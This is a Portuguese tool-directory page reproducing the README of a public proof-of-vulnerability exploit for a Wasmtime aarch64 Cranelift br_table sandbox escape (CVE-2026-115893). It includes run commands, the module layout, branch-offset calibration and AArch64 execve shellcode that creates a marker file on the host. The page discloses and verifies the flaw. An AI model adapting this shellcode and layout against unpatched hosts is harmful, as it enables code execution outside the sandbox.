Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-115893-wasmtime-sandbox-escape — CVE-2026-115893: exploit público de escape de sandbox do Wasmtime aarch64 Cranelift br_table, PoV, notas de calibração e evidências de verificação. | Kitploit
Ferramentas/GitHubGitHub/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape
Análise de VulnerabilidadesExploraçãoShellcodePapers e PesquisaDesenvolvimento de PayloadsExploração de Binários
GitHubshreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape

CVE-2026-115893-wasmtime-sandbox-escape

CVE-2026-115893: exploit público de escape de sandbox do Wasmtime aarch64 Cranelift br_table, PoV, notas de calibração e evidências de verificação.

Ver Repositório
1há 25 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer é uma plataforma de código aberto de Gerenciamento de Acesso Privilegiado (PAM) que fornece às equipes de DevOps e TI acesso seguro e sob demanda a endpoints SSH, RDP, Kubernetes, Banco de Dados e RemoteApp através de um navegador web.

    383
  • 5

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    328
  • 6

    SafeLine

    chaitin/safeline

    WAF auto-hospedado e proxy reverso que filtra tráfego HTTP malicioso, bloqueia injeção SQL, XSS e ataques de bots, com limitação de taxa e criptografia dinâmica de HTML/JS.

    288

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-115893: Escape de Sandbox do Wasmtime aarch64

Um exploit funcional de escape completo de sandbox, prova de vulnerabilidade e pacote de verificação para CVE-2026-115893 — a miscompilação br_table do Cranelift aarch64 no Wasmtime.

Visão geral

CVE-2026-115893 é um bug de fluxo de controle do compilador no backend Cranelift aarch64 do Wasmtime. Um br_table Wasm com alvos suficientes produz um JTSequence cujo branch padrão B.cond tem um deslocamento fora do intervalo de codificação de branch condicional. O offset sofre wrap, então um módulo Wasm válido pode saltar para um offset influenciado pelo usuário dentro do código JIT.

Este repositório demonstra um escape completo:

  • o branch miscompilado cai em um pool de literais JIT executável que o módulo influenciou em tempo de compilação;
  • o pool executa um payload AArch64;
  • o payload realiza uma syscall de host, substitui o processo do Wasmtime por /usr/bin/touch e cria /tmp/wt-pwn fora do guest.

O módulo não tem imports e não usa WASI. Trata-se de execução de código no host com os privilégios do processo do Wasmtime, não automaticamente root.

Este não é o CVE-2026-115889. Esse é um bug separado de index-overflow do Cranelift cujo impacto reproduzido é um panic/DoS do compilador.

Versões afetadas

Intervalo de versõesCVE-2026-115889CVE-2026-115893 (aarch64)
<36.0.19VulnerávelVulnerável
36.0.19CorrigidoCorrigido
37.0.0–42.xVulnerávelVulnerável
43.0.0–48.0.6CorrigidoVulnerável em aarch64
48.0.7CorrigidoCorrigido
49.0.0–49.0.3CorrigidoVulnerável até 49.0.4
49.0.4+CorrigidoCorrigido

Para este CVE, use uma release corrigida dedicada: 49.0.4, 48.0.7 ou 36.0.19.

Resultado verificado

AmbienteWasmtimeResultado
macOS 26.7.1 arm64, nativo49.0.3PASS 5/5: rc=0, marcador criado
Container Linux arm6449.0.3PASS 3/3: rc=0, marcador criado
macOS arm6449.0.4REJECT 3/3: rc=1, sem marcador
Container Linux arm6449.0.4REJECT 3/3: rc=1, sem marcador
macOS arm6449.0.3Controle com 65.520 alvos: sem marcador
macOS arm6449.0.4Controle com 65.520 alvos: sem marcador

O exploit é determinístico na build testada. Ele não é cego a versões; builds diferentes do Wasmtime podem precisar de reajuste.

Capturas de tela

PoV Linux arm64: Wasmtime 49.0.3 sai com 0 e cria /tmp/wt-pwn

Figura 1. Container Linux arm64, Wasmtime 49.0.3. O processo sai com 0 após o payload criar /tmp/wt-pwn fora do guest.

Wasmtime 49.0.4 rejeita um br_table genérico superdimensionado

Figura 2. Wasmtime 49.0.4 rejeita um br_table genérico com 100.000 alvos no limite de implementação de 65.520 alvos. Este módulo genérico não é o módulo do exploit; ele ilustra o limite corrigido.

Requisitos

  • host/container aarch64 macOS ou Linux;
  • Wasmtime 49.0.3 para a execução vulnerável;
  • Wasmtime 49.0.4 para o controle corrigido;
  • objdump para inspeção de alvos de branch;
  • Python 3 para os geradores;
  • Docker apenas se usar o exemplo de container Linux.

Binários de release e SHA-256:

macOS 49.0.3  fec6a4ca5e4310210b2feaea32179cfb51a40ab20eef48ec2345a61a3856002d
macOS 49.0.4  f5a9a33d7df600927ec2b4544cb6270cfcfbe5a7acaeb90952be39cd2584dda4
Linux 49.0.3  ffb2b17b12f6b43e6de3aab08f02269ca7cb481663e0cb189e256e9198bac770
Linux 49.0.4  7ff3862b2dee59318218c2dafd87650faf7840db2c21889b62535e9d0e7273ba

Nomes dos tarballs:

wasmtime-v49.0.3-aarch64-macos.tar.xz
wasmtime-v49.0.4-aarch64-macos.tar.xz
wasmtime-v49.0.3-aarch64-linux.tar.xz
wasmtime-v49.0.4-aarch64-linux.tar.xz

Hashes dos módulos:

macOS  lab/jit-escape.wat        7cfe90b1fede88966df0330389967f27ff4e2a644e27ebac66e913fa299fc556
Linux  lab/jit-escape-linux.wat  299e585a3e96f311331e729f0786d5e2b7eb5f017bd0870180cc5365e0e88d25

Início rápido: macOS

git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape

export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-macos/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-macos/wasmtime

./scripts/verify-macos.sh

Execução manual:

"$WASMTIME_VULN" --version
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
ls -l /tmp/wt-pwn

Esperado:

rc=0
-rw-r--r-- ... /tmp/wt-pwn

Nenhuma saída stdout ou stderr é produzida; execve substitui o processo Wasmtime. O payload cria apenas /tmp/wt-pwn.

Início rápido: Linux arm64

git clone https://github.com/shreyas-malhotra/cve-2026-115893-wasmtime-sandbox-escape.git
cd cve-2026-115893-wasmtime-sandbox-escape

export WASMTIME_VULN=/path/to/wasmtime-v49.0.3-aarch64-linux/wasmtime
export WASMTIME_FIXED=/path/to/wasmtime-v49.0.4-aarch64-linux/wasmtime

./scripts/verify-linux.sh

Exemplo de container:

cp -R "$PWD" /tmp/cve-2026-115893-wasmtime-sandbox-escape

docker run --rm --platform linux/arm64 --entrypoint sh \
  -v /tmp/cve-2026-115893-wasmtime-sandbox-escape:/work:ro \
  -v /path/to/wasmtime-v49.0.3-aarch64-linux:/wasmtime:ro \
  debian:bookworm-slim -lc '
    rm -f /tmp/wt-pwn
    /wasmtime/wasmtime run --invoke pwn /work/lab/jit-escape-linux.wat
    echo "rc=$?"
    ls -l /tmp/wt-pwn
  '

Controle de versão corrigida

rm -f /tmp/wt-pwn
"$WASMTIME_FIXED" run --invoke pwn lab/jit-escape.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"

Esperado:

rc=1
Unsupported feature: `br_table` has 524255 targets, which exceeds the
implementation limit of 65520
marker_exists=1

A execução fixa no Linux rejeita 524.252 alvos.

Controles negativos

Mesmo payload com 65.520 alvos:

python3 poc/gen_jit_escape.py 65520 > /tmp/small.wat
rm -f /tmp/wt-pwn
"$WASMTIME_VULN" run --invoke pwn /tmp/small.wat
echo "rc=$?"
test -e /tmp/wt-pwn; echo "marker_exists=$?"

Esperado: rc=0, sem marcador. As constantes v128 e o shellcode por si só não criam o arquivo; a tabela superdimensionada é necessária.

Alterar a contagem de destino para fora do pool (n=524254) faz o desvio cair em 0x4c, causar crash e não criar nenhum marcador.

Como o exploit funciona

Layout do módulo

(module
  (memory 16)
  (func $sc (param i32) (v128.store ...))      ; payload pool
  (func $f  (param i32) (br_table ...))        ; oversized switch
  (func (export "pwn") (call $f (i32.const N)))
)

sc nunca é chamado. Suas constantes v128 são compiladas em um pool de literais executável .text. Os bytes são shellcode AArch64.

O desvio incorreto

Para a build do macOS testada com n=524255:

  • f começa próximo de 0xa0;
  • a comparação/ramo padrão de JTSequence está em b4/b8;
  • o alvo mal compilado de b.hs é 0x50, o primeiro byte do pool;
  • pwn chama f com o seletor que toma o ramo padrão.

O pool executa:

adr  x0, path
adr  x3, arg
adr  x4, arg
sub  sp, sp, #0x40
stp  x0, x3, [sp]
stp  xzr, xzr, [sp, #0x10]
mov  x1, sp
mov  x2, xzr
mov  x16, #59        ; macOS execve
svc  #0x80
brk  #0x43

A variante Linux usa svc #0 e o número de syscall execve do Linux. Sua contagem de destino é 524.252 porque o prólogo sem PAC coloca o pool em 0x40.

Por que o marcador importa

O módulo não tem imports e nunca chama WASI. Não há API de arquivo Wasm no módulo. /tmp/wt-pwn é criado pelo caminho execve do host, não por código de memória linear do guest.

Regenere o payload

Baixar ferramenta